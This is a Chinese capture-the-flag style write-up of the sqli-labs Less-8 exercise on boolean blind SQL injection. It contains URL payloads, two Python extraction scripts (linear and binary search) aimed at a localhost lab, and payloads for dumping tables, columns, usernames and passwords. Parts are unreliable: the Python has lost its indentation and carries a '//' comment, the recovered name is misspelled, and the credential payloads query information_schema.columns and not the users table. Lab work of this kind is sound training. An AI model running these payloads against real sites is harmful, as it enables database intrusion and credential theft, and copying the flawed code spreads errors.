Less-8(布尔盲注)
进入之后说请输入id,那就试一下
显示You are in........好像没什么发现。再试试有没有其他的注入点
再输入id=1’后回显消失了。再输入其他的都是一样的结果,这里怀疑单引号后边有注入点
输入id=1' order by 1 --+后有了回显,再陆续试了2 3 4,当输入4时没有了回显
他只有对和错显示,那我们只能用对或者错误来猜他这个数据库,到了这里基本可以判断出是布尔盲注,那就试一下
布尔盲注的主要三个函数:length(),ascii(),substr()。
?id=1%27%20and%20ascii(substr(database(),1,1))>114--+
?id=1%27%20and%20ascii(substr(database(),1,1))>115--+
ascii码表
我用ASCII来猜,用substr来截取他的第一个字段,如果我猜对了,他就正常显示,如果我猜错了,他就没有显示,就像上边的,当我猜到第114个时显示正常,当为115时没有显示,说明我就猜出来他的第一个字段的ASCII是115,然后在对照查询ASCII表就能找出来以此类推,就能猜出来,但是这样效率太低,所以写一个脚本来执行:
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-8/index.php"
def inject_database(url):
name = ''
for i in range(1,20):
for j in range(32,129):
payload = "1' and ascii(substr(database(),%d,1)) = %d-- " % (i, j)
res = {"id":payload}
r = requests.get(url,params=res)
if "You are in..........." in r.text:
name +=chr(j)
print(name)
break
else:
continue
inject_database(url)
暴力破解也是将库名给爆出来了,但是这个办法比较慢,因为他要一个一个试
换一种思路:用二分法来取值
Low为32,mid初始值为80,当执行到判断if后没有出现you are in,则执行low =mid+1,low变为81,mid为104,直到出现you are in 时ASCII为115,跳出循环,可以判断出第一个字符为115,对应的就是s
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-8/index.php"
def inject_database(url):
name=""
for i in range(1,20): //这里1,20表示我们测试库名的字段长度再爆表时可以适当调节长度,这里写20是为了缩短比较的时间。
low =32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(),%d,1)) > %d-- " % (i, mid)
params = {"id": payload}
r = requests.get(url,params=params)
if 'You are in...........' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
inject_database(url)
这样我们就判断出库名为sucerity。后边的就是表和列的查询,和之前的都一样,只不过这里是要用ASCII码来猜而已,就是有点慢。
爆表
payload = "1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),%d,1)) > %d-- " % (i, mid)
爆字段
payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d-- " % (i, mid)
爆数据
username
payload = "1' and ascii(substr((select group_concat(username) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d-- " % (i, mid)
password
payload = "1' and ascii(substr((select group_concat(password) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d-- " % (i, mid)
成功拿下。